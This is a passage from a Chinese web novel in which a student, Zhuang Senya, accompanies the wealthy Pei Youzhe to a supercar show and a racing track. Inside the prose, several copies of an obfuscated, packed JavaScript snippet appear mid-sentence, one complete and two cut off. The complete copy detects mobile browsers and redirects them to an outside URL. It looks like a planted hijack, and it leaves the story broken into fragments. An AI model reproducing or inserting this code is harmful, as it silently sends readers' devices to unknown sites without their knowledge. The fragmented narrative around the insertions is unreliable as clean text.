裴佑哲在中间的按钮盘上按了一下,右手指尖在方向盘后的拨片上回勾,又伸手在主控板上操作了一番,庄森芽完全看不懂,只觉得好厉害。 着车的那声响动传出去后,原本围聚在跑车周围的学生们都散开了,似乎知道这辆野兽即将出动。 庄森芽紧张地握住了把手,生怕它一个暴冲出去。 但事实并不是像他想象的那样。车辆很平稳地启动了,她几乎没感受到什么后推力,蓝色超跑缓缓地滑向车辆出口,道闸栏杆缓缓抬起,它像鱼一样,一摆尾就晃了出去。 而来到校园外的羊肠大道上,这匹脱缰的野马就拴不住了。 裴佑哲没给她任何的提示,一脚油门踩下去,车辆就像突然进入时空隧道一样,两侧的光景顿时化为了虚影。 “噫!”她发出丢人的声音,下意识去摸车顶扶手,然而却摸了个空,那里除了车柱什么也没有。 主驾驶上的人丝毫不体谅她的心慌,脚下肆意妄为,庄森芽只觉得自己像坐在子弹上,裴佑哲每踩一脚油门,就像有火药在她身后炸开,短暂的预热过后,是极速的爆破。 她的心情就像坐过山车一样,时上时下,心脏病都要犯了,就算不晕车感觉都要吐点什么东西出来。 “佑、佑哲,慢——” 她话没说到一半,排气管的层层声浪盖住了她的声音,咆哮声中,车辆如一颗流星闪过。 直到下一个红绿灯拦住了它。 从没有这样一个瞬间,她无比感激现代文明的交通管制。 91. 壕本豪 趁这个机会,庄森芽一把抓住主驾驶座上的人的胳膊,不管是否会弄皱他昂贵的西装,她人都要没了,还管得了那么多。 “可不可以开慢点……”她央求。 裴佑哲盯着抓着他胳膊的那只手,微小的作用力想要制止他实在是杯水车薪,他沉思了片刻,一只手从方向盘上撤下来,那似乎是不打算再发力的讯号。 绿灯亮了,但他没有启动车辆,路口有零星五六辆车,车道有四排,他停在那里不动,别的车就只好绕着他走,没人敢鸣笛,更不可能有人撞上来发生什么小摩擦,它简直就是个移动的吸金库。 片刻后,裴佑哲将车开到了路旁,俯下身去按了什么按钮,车前盖掀开了,他下车,从前备箱中拿了个盒子出来,回到主驾驶室里,把那个方方正正的盒子放到了庄森芽的腿上。 她带着困惑盯着它,只收到了一句淡淡的“打开”,于是掀开盒盖,里面是一个十六宫格,每个格子都铺着红色的细绒,里面安放着一种或几种闪闪发光的首饰。 “你自己挑。”他说。 庄森芽还记得他们之前约定好的内容,裴佑哲包办了首饰,不需要庄森芽操心,这也是她一身素净出现的原因。 格子里的配饰以项链和耳饰居多,它挑了条银白色的长吊坠出来,在身上比量了一番,觉得这个正合适,黑色的打底需要一点提亮,长款的项链能够延长视觉,正好将深沉的颜色中和,气质一下子就高贵起来。 她没打过耳洞,首饰盒里也没有出现耳钉,而是耳夹和耳挂一类。她挑了两个流苏造型的耳挂出来,它们是黑色的,贴在耳骨后面像是羽翼,庄森芽选择了这款,既然今天走的是黑白配的风格,那就一点其它的颜色都别沾,将这种概念贯彻到底。 经过耳挂和项链的点缀,终于她身上不再像是几片随便涂抹的色块,变得黑中有白、白中有黑,就像是太极一样,看上去十分和谐。 她打开手机前置摄像头,打量着现在的自己,感觉白色的头发有一点炸,需要一顶黑色的帽子来压住它,最好是贝雷帽,气质温婉,和这条黑色长裙搭在一起不会显得突兀,又能带来一点贵气的感觉。 但首饰盒里显然没有一顶她想要的帽子,有种拼图只差一片的惋惜感,这让她求助似的看了一眼裴佑哲,鼓起勇气张口,“我想要一顶黑色的贝雷帽。” 说话的时候,她挺起胸脯,带着点理直气壮。毕竟等下陪同裴佑哲出席车展,展会上想必都是她不认识的人,丢人也丢不到自己头上来,反而是裴佑哲应该更重视女伴的着装。 主驾驶座上的人侧目看着她,似乎在想象一顶帽子扣在她头上的模样,“你的品味原来在线。” 庄森芽心想,这点小问题还是难不倒她的,色彩是绘画的必修课,就算不是科班出身也得努力自学,她要是连这点颜色搭配都搞不定,干脆退出这个赛道吧。 “所以,”裴佑哲的声音压低了一些,语气笃定,“这条裙子根本就不是你选的。” 她一顿,不知道对方干嘛非得这么在乎这件事。 他虽然说的没错,这裙子确实不是她的风格。可是先前已经撒了谎,出于常情,她惯性地维护着它,“我今天就是想低调点,不行吗?” 裴佑哲没说什么,随即从支架上拿下自己的手机,沉默地在上面敲敲打打。 被晾在一旁,庄森芽的意识不由得游离开来。 说起这条裙子……诺特斯去哪了? 她偷偷往后方扫视,这才想起跑车只有一排座位,后面直接就是后玻璃了,诺特斯自然不可能在那里。 最后一次看到他是在学校门口,他推搡着她,让她鼓起勇气往前走。而走到裴佑哲身边后,她的注意力又被严肃的主席和难搞的跑车分散了,并没有留意诺特斯的动向。 他留在了学校,没有跟上来吗? 裴佑哲的手臂在她眼前晃过,庄森芽连忙收起了四下斜睨的视线,怕被对方察觉出什么端倪。 他把手机重新夹在支架上,屏幕上显示的是地图软件,一条导航路线清晰明了,终点是一家商场。 看样子裴佑哲是真的打算临时去买一顶帽子。 他在中控台上按下一个按钮,车辆再次启动,庄森芽有点害怕地握住了把手,准备迎接巨大的推力。然而它并没有到来,甚至连尾部都未曾传来那层层的音浪,超跑仿佛一下子变成了乖顺的家用小轿车,载着两人往目的地走。 不过多久,抵达商场,跑车溜进了地下停车场,引擎犹如轰雷,震得整个地下空间都在颤动。 他们来到商场一层,这不是家普通的商场,没有中空的巨大中庭,商户像是井田一样排列有序,每层的层高看起来有六七米,低饱和度的暗色系装修显得十分气派。 进入商场大门的一刻,她直觉这个商场和裴佑哲身上的气场差不多,都给人一种招惹不起的昂贵感。 他带她进了家不认识的品牌店,柜子上陈列着零星几件商品,给足了巨大的展示空间。 穿着高雅、语气清婉的店员轻声询问需要些什么,裴佑哲说一顶黑色的女式贝雷帽。 于是她取了两顶过来,自然而然越过男士给庄森芽展示。 她都试了一番,挑了顶更贴合裙子的,习惯性地看了眼价签,手一抖,差点没直接塞回到店员的怀里去。 款式是真的好看,价格也是真的不敢恭维,她拿在手里都觉得忐忑,唯恐戴在自己头上撑坏了还要赔偿。 包括身上这些首饰,她怀疑最好都不要去打探价格,知道了就会变得束手束脚,因为得知身上挂着的是一身赔不起的金贵物什,而动也不敢动,变成一个举步维艰的纯花瓶。 要是弄坏了什么,她就等着家破人亡吧,总觉得现在这个裴佑哲一定不会放过她,通融是不可能的。有钱人注定不会太过慷慨,太过慷慨的往往都会实现阶层跨越——向下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想了想还是算了,对方不提,她也就当一个哑巴。店是他选的,陪同出席展会是他的要求,她就是个借首饰借帽子的衣架子,衣架子是没有任何付款能力的。 再者说,裴佑哲那么阔绰,一定不会介意这点小钱,而且她又不是把帽子顺走不还给他了,虽然很喜欢它的造型和面料。 她既不会占他什么便宜,他也休想从她衣兜里抠出来一分钱。在这些天价的商品面前,谁让她掏钱她跟谁拼命。 两人回到了地下停车场,上了车,庄森芽把帽子取出来戴在头顶上,又对着手机前置摄像头打量了一番自己现在的模样。 总算不像是来出殡的了,她舒了一口气。 诺特斯还真是给她出了个难题。 跑车启动,她开始有点习惯那种神嚎鬼哭的着车声响了。它平稳地驶出了停车场,开上笔直的柏油路,往展会的方向疾驰而去。 92. 能摆则摆 车展在机场附近的国际展厅举行,四周很空旷,几乎都是定期修剪的绿草地。 进了场地,就见展会大楼的正门口立着一排各色的国旗,下方的停车上停着参观人员的一排排车辆。 有零星两三辆车在广场侧方的标定线上行驶,往后方的参展车辆入场口移动,看样子这零星几辆车都是来参展的。裴佑哲也将车开到了那条路上去,跟上前方不同型号的跑车。 前面有一台高调的红色超跑速度慢了下来,渐渐和裴佑哲的跑车并行。 车窗摇了下来,对面一个戴着墨镜的年轻男人露头出来,他的打扮和他的车一样高调,穿金戴银,丝毫不知收敛。 这人朝他们招招手,裴佑哲降下副驾驶的车窗,紧接着,隔壁车主有些聒噪的声音就传了进来。 “佑哲,怎么才来啊?”他人虽然穿得豪气,语气却不倨傲,听起来像个性格还不错的无忧无虑的阔少爷。 “有点事耽搁了。” 对面那人看到副驾驶的庄森芽,把墨镜微微拉低了一些,露出有些淡色的眼眸来,他看起来像是个混血,“新女友?” “不是。”裴佑哲回答,声音平静,就像在聊天气。 混血男人盯着她,眼神是不带恶意的打量,“从没见你处过这个类型的。” “我说了,不是。”现在裴佑哲的语气有点不耐烦了,听得一旁的庄森芽都有点紧张起来,主要是怕他心情不好波及到自己,寄人车上,生死由天,现在他说什么都是对的,他说她是他女友她就是,他说不是就不是,她现在极其温驯,只求能平稳地度过这一天。 “好吧。”对方没纠结着继续问下去。不管是不是女友,可能带女伴来这种事他们都司空见惯了,也没什么好追问的,或许在正式收到谁的婚帖请柬之前,都当对方只是玩玩而已,“军然等你半天了,他想和你一起进去,现在就在入口呢。我都进去转过一圈了,觉得没意思就出来了,可是出来也没意思,就想着再回去溜一圈。” “我去找他。”裴佑哲说着,关上了副驾驶的车窗。 车头轻盈一转,十分丝滑,一点笨重感都没有,它超过了前面几辆参展车辆,来到展会的背部入口。 会场的背面是一片非常宽阔的试驾区,一眼望不到尽头,地面画着赛车标准跑道线,远处时不时就有隆隆如雷声般的排气声浪传来。 这块广袤的地皮明显不光是承载了展览的作用,还有一条笔直的长赛道,从炫耀到释放激情,一应俱全。 入场口的工作人员西装革履,有的车主直接把车扔给他们,跑去试驾区看车辆测试,有的在引导下自己开进去绕场。 裴佑哲把车开到入场口附近,一手从方向盘上放下来,庄森芽也不知道他操作了什么,只听引擎骤然响了起来,眼前一阵天旋地转,跑车来了个360度飘移,车尾在一辆黑色赛车面前几乎是贴着就蹭了过去。 而后,那辆画着许多白条纹的黑车像是被点燃了一样,车灯亮起,引擎发出一阵咆哮,它从静止状态启动,一瞬间就达到了市区道路的最高限速,这个过程几乎只用了半秒不到。紧接着,它像是复仇者一样追在裴佑哲深蓝色跑车的车尾,虎视眈眈地跟着。 裴佑哲看了眼后视镜,轻笑一声,打了个右转向让出路来,后车气势汹汹地上前来,两辆车并驾齐驱。 紧挨着的车窗落下,裴佑哲盯着另一辆车上的人,对方也是个年纪二十岁左右的男生,穿了一身浅蓝色的赛车服,头盔放在副驾驶上,冲着裴佑哲露齿笑。 “进展会转几圈?”黑色赛车上的男人提出邀请,听这话的意思,他应该就是刚才那个混血男人提到的‘军然’了,“然后来我车上坐,我们去溜溜。艾夕今天带着她的‘小马驹’来了,她上次就是用它赢的我,还把我的缸拉爆了,这口恶气我到现在没咽下去呢。” 裴佑哲一手搭在车窗边缘,语气从未有过的轻松,就仿佛今天之前一直在压抑着一样,“我对这里的赛道可不熟,你带上我也没用。” “没事,我熟。这里没几个弯,几乎都是直线。”对方说,“而且艾夕也没带领航员,我俩扯平了。” 裴佑哲一声哼笑,从车窗外面缩回身体,“行吧,不过我大概要在里面待两三个小时。” “成啊,那我把车放进去之后,先去艾夕那待一会,你这边结束了就给我打电话。” “嗯。” 车窗摇上,与此同时,两车同时进入了会场。会场只有一层,穹顶很高,人很多但秩序井然,场地划分得十分合理,丝毫也不显得凌乱。 地面有一条圆形车道,它是一个巨型的传送带,在场馆外围环绕,车辆开上去之后就不用动了,传送带会带着它缓速前行,像是旋转展台,人群只需要待在中央,就可以遍览群车。 把跑车停在传送带上,裴佑哲下车,对庄森芽说:“车门不用关。” 他撂下这句话就离开了传送带,身影往场地中央的方向而去,头也不回。 庄森芽费力打开车门,从里面钻出来。她退到一旁,这才明白过来裴佑哲为什么不让她关车门。向上敞开的车门像是两翼,衬得整体有种超现代的美感,加之传送带的速度,它就像在低空飞翔一样。 她看得有点愣神,回过神来,已经找不到裴佑哲在哪了。 周围都是穿着各色礼服的人,要么就是扛着昂贵摄像机的拍摄人员,还有穿着暴露性感的车模立在中央场地的豪车旁,放眼望去,居然连一个休闲着装的人都没有,这显然不是一个面向群体大众的展会。 硬要说的话,它反而和中世界欧洲的舞会有点像,偌大的厅堂里面是光鲜亮丽的人群,价格高昂的展车单纯是一张入场券,摆在这里甚至不是为了炫耀,只是点缀,重要是来到这个场馆的人。 现在庄森芽知道裴佑哲为什么让她稍微打扮一下了,今天她要是穿一身毫无美感的运动服进来,恐怕直接会被工作人员轰出去。 当下,她立在场馆内的一角,身后是旋转的车道,前方是高起的展台。有些车主直接把车停在了中央展台,那些似乎是驻场车辆,在散场之前都不打算开出去。 找不到裴佑哲的身影,她有点不知道该做什么了,拖着自己一身黑裙在场地里来回走,像个飘零的鬼魂一样。 她感觉到困惑,说到底,她来这一趟的意义是什么?裴佑哲好像也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而,十分钟还没到,美好的幻想就破灭了。 一个有些怒气冲冲的人影从场地的中央出现,径直走向吧台的方向。 发现那个身影之前,庄森芽原还在悠悠然品着手里的薄荷饮料,惬意地发出轻叹。可是当看到朝她而来的人后,一下子那些幸福的泡沫全都破了,她就像是被老师抓包的学生一样跳下高脚凳,直挺挺地站着,手里的饮料也不知道放到哪里好。 裴佑哲黑着脸走了过来,步伐都带着一阵带着怒意的风,他立定在她身前,冷着声线质问她,“你刚才去哪了。” “呃,不、不小心没追上你,场地太大,跟丢了……”她也不知道自己紧张什么,刚才明明是他闷头往前走,把她丢下不管,现在却反过来责问她。 可是对方的气场实在太强,她不小心被震慑住,一时间都不敢确定这到底是谁的错。 裴佑哲低头看向她手里的玻璃杯,“所以,你就干脆不来找我,跑到这种地方来喝饮料?” “对不起对不起。”她慌张地道歉,把喝了一半的饮品放到吧台上,差点碰倒了整齐排列的高脚杯。 他默然片刻,转身而去,这次脚步放慢了一些,“跟上来。” 庄森芽驱动脚步,极不情愿地跟在他身后。 救命,谁来救救她。 还要继续和这个低气压的人待在一起,她不要啊。 93. 自我定位 心里极度抗拒,可是身体还是很老实,毕竟再怎么抱怨,她也一直还记得这是场一定不能退出的考验,通过了才能留在学生会,而能不能通过就看她的表现和态度。 所以,说得惨烈一点,就算活生生剥了层皮下来,她也不能闹着性子喊疼。 场地的正中,在一辆线型如流水的银色展车旁,几人正围拢着攀谈。裴佑哲径直就朝他们走了过去,很自然地加入了交谈圈,模样笃信无比,就仿佛认定这世上没有一个圈子会拒绝他的到来。 “刚才贸然离开不好意思,伙伴走散了。”他说。 庄森芽有些怕生地站在他的右后方,可裴佑哲一个闪身,身前就没有遮挡了,她只好走上前两步。 离近了,才看到这些攀谈的人年纪都不小,反正不是二十几岁,有很多看着像是成功人士,脸上的皱纹和精明说明了一切。 一个贵妇模样的女人看着她,对裴佑哲张口,“哎呀,真可爱,是你的同学吗,小哲?” “是的。” “年轻真好。” 这短短的几句话是唯一和她有关的,那之后,庄森芽就像一个木雕一个站在那里,围拢起来的社会精英聊得水深火热,裴佑哲也是当中的一份子,而她则半句话也插不上,本就人生地不熟,他们说的那些她还听不太懂。 聊天的内容几乎都是围绕着公司、企业、合作,动不动就蹦出上亿的字眼,就连一旁泛着奢华辉光的跑车们都被冷落了,没有人提一嘴它们的性能或是什么。 庄森芽百无聊赖地站在裴佑哲身旁,眼神飘忽不定,一会看看说话的各界精英,一会看看周围来往的人,时不时原地踏步活动一下双腿,感觉自己这份陪同的工作还不如安保有趣,保安起码要提防可能出现的意外状况,她则站在这里毫无目的。 这些老板或者董事长们似乎总是有说不完的话,冷场从未出现过,或许只有精力像他们一样充沛的人才配得上做成大事。别人的一天有二十四小时,这些人总能想办法让它变成四十八小时,一般人要七八小时的睡眠,他们每天睡四小时就够,第二天起来还是活蹦乱跳。 庄森芽就做不到这样,自己是个动不动就精疲力尽的小喽喽,学习时间长了就昏昏欲睡,睡不够就会半死不活,平时注意力集中一个小时以上就开始头疼,连和人说话说多了脑袋都会开始发麻,需要在自己闲适的小窝里待上好一阵子才能满血复活。 随着时间的流逝,这帮成功人士聊得愈演愈烈,欢声笑语接连不断,好像这才进入正题似的。 可是庄森芽感觉自己已经有点不行了,双脚在高跟鞋里折磨,精神也在嘈杂的环境中备受煎熬,肉|体与骨骼分离,受地心引力的影响,疲惫地往下坠。 她觉得身体有点摇晃,想扶着点什么,可四周空空如也,唯一能让她搀扶的东西是裴佑哲的胳膊。 她想象了一下把自己挂在对方的身上会是怎样的情景,他不一定会把她推开,但一定又会用那种冷若冰霜的视线盯着她,瞧不起她的脆弱。 不行……坚持下去。 她是来渡劫的,不是来享受,遇到点磨难是很正常的,不能像小孩子一样累了就哇哇乱叫,不然接下来几天怎么过? “说起来,小哲,你生日快到了吧。”一个身形高挑的女人开口,她很瘦,穿着一身舒适的灰色裤装礼服,面料的垂坠感很强,整个人看起来中性干练。 “是的,斌姐,在三天后。”裴佑哲回答说。他不常开口,并非滔滔不竭,但张口说话的时候,人们都很认真地盯着他。 女人笑起来,“今年办生日庆典吗?都两年没办了吧。” 被问话的人也勾起嘴角,作为小辈,他表现得不卑不亢,“十八岁之后的生日对我来说没有什么特别的意义,弄得太隆重实在没有必要,不过家里应该还是会办一场小型的宴会。” “三天后,这个星期六吗?”有人问。 “没错。” 还是刚才那瘦高的灰衣女人:“哎呀,我怎么没收到邀请呢。” 眉毛垂下来,裴佑哲显得有些难为情,“因为只是个我个人的小型聚会,上不了什么台面,招待必然会有不周,实在是羞于邀请各位前来。” 女人笑着,“咱们关系这么好,还说这些干什么。除非小哲你不喜欢我这种老阿姨搅合你们年轻人的聚会。” “怎么会,斌姐,您要是来,我就不用置办鲜花点缀了。” “哎哟,真会说。”女人笑得眼睛都眯起来,“既然这样,那你帮我也跟裴董知会一声,许久没见过腾滨集团的老总,难得的机会,周六的聚会也给我留张入场券。” “一定的。” 一旁,庄森芽有一搭没一搭听着这些人的交流。 裴佑哲要过生日了,她隐约记得的确差不多是这个时候,十一月的末尾,高中的时候他和她说过,但她没记住具体的日子。 要不要送点什么礼物呢?可是裴佑哲看起来也不缺什么的样子。 过完生日,他应该就二十岁了。 有的人二十岁已经开始辗转于各界的大老板之间,聊的都是公司的业务和投资,有的人还苦哈哈地为了保住校园里的一个社团名额而奔波。 对,她说的就是自己。 人和人真是不一样,她遥望了一下自己的二十岁,估计和现在比不会有什么变化,还是上学、念书,为将来的实习机会而奔走忙碌。 父母没有把家里那危在旦夕的仿生科技公司交给她的打算,它就快要负债累累,恐怕什么人都救不起来。夫妻俩只是想做好他们一直在做的事情,具体公司能不能存活、事业是否要延续千秋万代,两人都没什么执念。 大学是一个奇怪的地方,它会将各个不同阶层的人圈在一起,这可能是他们今生唯一有交集的阶段。 如果不是就读于上茂哈里森大学,她可能一辈子都不会再见到裴佑哲,更不可能和他一起出席什么展会。 而就算他们在大学短暂地相遇了,也只是两条相交的直线,将来还是会渐行渐远。 他是艘海上惊涛破浪的三桅帆船,大学是他仅此一次停靠的临时港口,或许他会带走一些执意要登船的人,但那些岛上的居民注定不会再见到他。 庄森芽不喜欢做辛劳的水手,也不想借他的帆乘着风飘向不知名的远方,她只想在岛上有一个安静的林间小屋,在那里与晨间的清露和婉转的鸟鸣作伴。 当下,交流还是没有停止的意思,庄森芽感觉自己的脚已经不过血了,连小腿都肿胀起来,她频繁地抬腿又放下,小幅度地活动着身体。 小动作说不上明显,但其实身旁的人余光应该能感受得到,但裴佑哲丝毫没有体量一下的意思,不发话放 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又或许只是约定俗成需要一个女伴之类的,她猜测这种可能性更大,一个乖巧听话不吭一声的花瓶刚刚好,既能体现出上位者掌控他人的权力,也不会像名正言顺的女友那样耍脾气惹麻烦。 在这场展出的末尾,她终于给自己找到了清晰的定位,那就是一个工具人。 这么想一切都说得通了。 她结束了迷茫的自我审视,反而变得笃定自信起来,顿时感觉一身轻松。 裴佑哲找到了自己的车,绕到另一边钻进了驾驶室,他和刚才那个赛车手有约定,等下还要去试驾区逛一圈,去人家的车上当领航员。 庄森芽自然而然上了副驾驶,把那沉重的侧门拉下来,依然是用了两只手,但动作已经比上次娴熟许多。 她拍拍手掌,一副大功告成的模样,舒心地叹了口气,身体扭正了,隐约觉得主驾驶的人在盯着她,可转过头去,裴佑哲却移开了视线。 “等下你就在车里待着,替我看车。”他说,启动跑车,等传送带把车辆运送到了出口,一个转轮打出去,离开了展会场地。 “好。”她答应着,口气像是个有令必从的新兵。 空气安静了半晌,外界刺眼的白光照进车内,裴佑哲蓦然又说,“窗户会开吗?” 庄森芽低头看着中控,指着上面的按键,“按这个?” “先启动才能开。”说着,他右手落下来,朝启动键的方向摸索,目光仍直视着前方。 她没来得及收手,两人的指节碰在一起,紧接着,庄森芽感觉车身好像不受控制地晃了一下,她没在意,把手抱在胸前,盯着裴佑哲的手背,想看他怎么操作。 驾车人的动作僵硬了一瞬间,但很快恢复平常,他拿指尖轻点着一个较为明显的红色按键,“这是启动键,不启动就什么也做不了。” “明白了。”庄森芽认真好学地点头,虽然这些知识就算学了,估计自己一辈子也都用不上。 车开到了试驾区的边缘,裴佑哲给刚才那赛车手去了个电话,说他已经忙完了。 电话撂下,很快,远处响起了隆隆轰鸣,一辆黑白两色的赛车从地平线的方向驶来,尾后掀起滚滚的沙浪。 94. 清闲转瞬即逝 开到近处,它速度慢了下来,一个甩尾贴上蓝色的超跑,两车并列停靠,距离拿捏得恐怖,车门之间只隔了两指的距离。 裴佑哲把车窗降下去,语气听起来有些无奈,“技术不错,可惜头脑简单。” 那名叫军然的赛车手也降下车窗,摘掉头盔,假意发怒,双眉拧紧,“干嘛突然骂我?” “你说呢。”裴佑哲用指节敲了敲对方的窗框,“这样我怎么开门?” 他声调难得有起伏,而且也不是刚才社交时那种礼貌生疏的态度,变得有血有肉起来,好像只有涉及到和赛车相关的东西,他才肯显露出自己的真性情。 这不是什么胡乱的推断,庄森芽见过他真实的模样,高中的时候裴佑哲就是这样,虽然性格大多时候上来说还不错,但有些时候也会盛气凌人。大学期间那副总是替人着想、温柔体贴的模样更像是他信手捏来的表象。 在什么位置上做什么样的事,他完全有能力处理好它。 “那你直接钻过来呗,反正这么近。”军然说。 裴佑哲转正了身体,手搭上方向盘,“开什么玩笑。” 他踩上油门,引擎发出轰鸣,车辆前窜,和赛车错开一些位置。 刚要伸手去开车门,一阵气浪声响起,黑色的影子跟了上来,又贴在超跑的主驾驶门上,还是两指的距离。 裴佑哲一脸阴森地盯着隔壁,“……” 军然嬉笑着,“小蓝的性能还是差一些啊,城市里跑惯了,野性都丢了,要不我帮你改改?” 这句话像是点燃了什么火苗,裴佑哲一声不吭地按了个键,切换了驾驶模式,又是一脚油门下去,车辆如子弹般弹射出膛,庄森芽顿时睁大了眼,感受到背后巨大的推力,整个人仿佛都要被吸进副驾驶靠背里。 然而侧边的赛车却像磁石一样,跑车加速它也加速,骤然刹车它也急刹,朝右拐弯它就冲上来黏住,车头始终保持着不超过一米的前后差距,怎么甩也甩不掉。 赛车手的表情一直是笑嘻嘻的,看起来有点贱兮兮的。 裴佑哲的脸色一开始不太好,渐渐变成了发怒的笑,他把车开到赛道的路旁,一个急刹停车,兀然说:“下去。” 那听起来像是跟她说的,但因为他没看他,语气也很随便,庄森芽不太确定,“我吗?” “嗯。” 他是真的一个字都不愿意多说。庄森芽向上扳起车门,下车,回头就见裴佑哲从主驾驶跨了过来,从副驾车门下了车。他这一套动作行云流水,神情因受挑衅而跃跃欲试,整个人带着年轻的朝气,也就只有在这种时候,这人才会偶然显露出一种符合年龄的蓬勃。 “上车等着。”他丢下一句话,绕了一圈,去往赛车主驾的窗旁。 看起来是完全不打算管她了,现在裴佑哲全身心都在赛车上。 庄森芽乐得清闲,这感觉就像是一节突如其来的自习课,老师都去开会,无人监管的教室成为了学生们的天堂。 她又回到车上,坐进座位里,看到裴佑哲上了那辆赛车的副驾驶,它扬长而去。 “呼……”她叹口气,有种终于解脱的感觉。 这半天下来,虽然只是陪同,但感觉比前两天还累。 前两天她好歹还有事做——统计成员名单、送资料之类的——忙起来起来就顾不上别的了。但今天可谓是无聊至极,想玩手机都要看人的眼色,拘束无比,难受极了。 裴佑哲看起来倒是挺兴致盎然,仿佛回到了快乐老家,看他开车游刃有余,随随便便就来一个高难度操作,应该是平时没少这么玩。 庄森芽从来都不知道他对赛车这么感兴趣。 不过也是,有钱又年轻,钟情的东西大抵也就是这些,风险与刺激无疑是必然的选择。 当下,好不容易终于能一个人待着了,她放松身体,缩在跑车并不舒适的座位里,把手机掏出来,上瘾似的开始爽玩。 在极度的无聊之后,哪怕只是俄罗斯方块都会变得有意思起来。 她先是拍了好几张照片,包括会场、跑车和赛道,留下她今天来过的证明,而后又翻开所有的社交媒体浏览了一遍,让自己的精神从当下荒芜的旷野中解脱。 正窝在座位里看得起劲的时候,咚咚,副驾驶的车窗突然被人敲响了。 庄森芽一惊,坐直了,看过去,发现车窗外面站着一个带着墨镜的男人。 这人有点眼熟,好像是刚入场时在车上跟裴佑哲打过招呼的同龄人,一个穿金戴银的阔少爷,看模样不知是哪国的混血。 他说了些什么,庄森芽没听清,有点手忙脚乱地找到开窗键,按下去,对方有点吵闹的声音这才传进来。 “小美女,怎么一个人在这里啊,你男票呢?”他问。 “不,他不是我的男朋友……”庄森芽先是否定,“佑哲他去那边了。” 她指着赛道的方向,而刚才那辆和超跑较劲的赛车已经消失得无影无踪。 混血男人遥望过去,模样了然,似乎一下子就知道裴佑哲是去做什么了。他复又弯下腰来,胳膊肘搭在窗框上,把墨镜掀起放在头顶,神情有点意外,“他就把你一个人丢在这啊?” “我替他看车。” “这多没意思。” 挺有意思的,比在会场里傻站着有意思。 “走,我带你去看现场。”他拍了两下窗框,直起腰来,绕了一圈打开主驾驶的门。 看到他的举动,庄森芽顿时慌了,“等等,我不想看!” 好不容易裴佑哲把她丢在这里不管了,一个人待着惬意无比,她可不想再往火坑里跳! 然而对方没理会她的抗议,坐上主驾驶,手法娴熟地操作起来,就仿佛对这辆车知根知底,“不看多可惜,佑哲可不是经常上场的。” 眼见车辆启动,引擎轰鸣,庄森芽只听心里警铃大作,手上已经行动了起来,扣住车把就要去推车门。 车门开了一条大缝,与此同时,跑车前窜了半米,又立刻急刹停下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480267|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “唔啊!”主驾驶的混血男人发出一声惊叫,瞪大了眼睛盯着副驾驶的庄森芽,“你干嘛?吓死我了!” 刚才的急停太突然,惯性让她撞在副驾台上,大臂的外侧传来钝痛,庄森芽没管,一只脚伸到外面,回头冲对方再次强调,“我不去。” 混血男人的有些惊魂未定,盯着她上下打量看了半晌,而后倏然笑了,脸色也变得饶有兴致,“我果然没说错,你跟他以前处过的都不一样,她们没有你这么暴躁。” 庄森芽反应了一下这是在说什么,紧接着眉毛蹙了起来,“我都说了我跟他不是那种关系。” “不是那种关系,他会带你来这种场合?”对方话语轻佻,似乎不太相信她的话,“这算是他的私人圈子了,来过的基本都是正式女友,就算现在不是将来也一定会是。” 这话让她感觉有点恼怒,有种受人随意安排人生的不快,“之前怎么样我不清楚,但今天只是个特殊情况,我以后也不会再出现在这个圈子里。” 他摸了摸下巴,审度着,“特殊情况?” 为了自己名声的清白,消除这些人脑海里不切实际的猜测,庄森芽把起因一五一十说了出来,“在学校里他是我顶头‘上司’,我做错了事所以要接受惩罚,表现好他就会放过我了。” 她没有具体说明一些细节,用稍显夸张的形容阐述了当下的状况。 “原来如此。”对方似乎懂了,他指尖在中控上轻点几下,“你刚才说什么来着,你在帮他看车?” “是,所以不用管我,把我留在这里就好。” 男人笑起来,露出虎牙,看起来十分狡黠,“你要是看车,就得留在车上吧?不然我随随便便把车开走了,再不小心撞坏了碰坏了,你是不是也有看守不当的责任?” “……” 这人怎么这样! 庄森芽几乎是有点愤怒地盯着混血男人,对方是一脸得逞的表情。 “把车门关上吧?”他说。 可恶,被摆了一道。 她很快在心里权衡了一下利弊,要是现在不管不顾下车,叫这个男人把车开走了,真的发生了什么磕碰或者摩擦,裴佑哲肯定会找她算账,认定这是她玩忽职守的错,说不定修车钱她也得出一份。 相较之下,妥协似乎是当下更好的选择,只是又要去见那个对她冷冰冰的人,在他身边做牛做马,但这比赔一大笔冤枉钱要好多了。 想到这里,庄森芽收回了那条跨在车外的腿,一脸不情愿地关上车门,系好安全带,胳膊往胸前一抱,愤恨地撅起自己的嘴,像只气鼓鼓的河豚。 “坐稳咯。”主驾驶上的人看起来心情尚佳。 车辆启动,嚎嚣着奔向赛车场地,没有任何红绿灯,也没有任何障碍物,它开得飞快。 庄森芽一开始还忿忿不平地抱着自己,眨眼之间就因为速度惊恐了起来,变成极度害怕地抱着自己。 这人开车也太快了! 简直比裴佑哲还恐怖! 95. 烂桃花 仪表盘上的指针唰一下子就转到了顶,可他好像还在给油,简直不要命。 “等等等等等——”她开始结巴,组织不起语言,已经不知道该怎么办才好了。 前方视野中出现了一片烟雾,混血男人看见了,这才松开了一些油门,打个转向偏离正道,把赛道让了出来。 只见那片烟雾越来越近,两辆赛车出现雾霭的下方,就像是拖着音浪的子弹。 